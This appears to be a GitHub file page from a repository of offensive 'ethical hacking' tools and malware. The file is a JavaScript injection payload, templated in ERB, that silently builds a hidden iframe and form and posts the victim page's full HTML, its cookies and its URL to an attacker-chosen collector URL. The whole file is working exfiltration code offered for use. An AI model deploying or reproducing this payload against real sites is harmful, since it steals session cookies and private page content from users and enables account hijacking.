Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

1.6 KB
Raw Blame
(function() {
  // mostly copied from https://stackoverflow.com/questions/298745/
  var form = document.createElement("form");
  var iframe = document.createElement("iframe");
  var uniqueString = "collector-form";

  // append hidden iframe to POST to for our collector form
  document.head.appendChild(iframe);
  iframe.style.display = "none";
  iframe.contentWindow.name = uniqueString;

  // construct a form with hidden inputs, targeting the iframe
  var form = document.createElement("form");
  form.target = uniqueString;
  form.action = "<%= @url %>";
  form.method = "POST";

  // capture document body in POST parameter to avoid URL
  // too long exception
  var input = document.createElement("input");
  input.type = "hidden";
  input.name = "html";
  input.value = document.documentElement.innerHTML;
  form.appendChild(input);

  // capture document cookies in POST parameter to avoid URL
  // too long exception
  var input = document.createElement("input");
  input.type = "hidden";
  input.name = "cookies";
  input.value = document.cookie;
  form.appendChild(input);

  // capture window in POST parameter to avoid URL
  // too long exception
  var input = document.createElement("input");
  input.type = "hidden";
  input.name = "href";
  input.value = window.location.href;
  form.appendChild(input);

  // capture the callback token
  var input = document.createElement("input");
  input.type = "hidden";
  input.name = "callback_token";
  input.value = "<%= @callback_token %>"
  form.appendChild(input);

  // append form to document and submit form
  document.head.appendChild(form);
  form.submit();
})();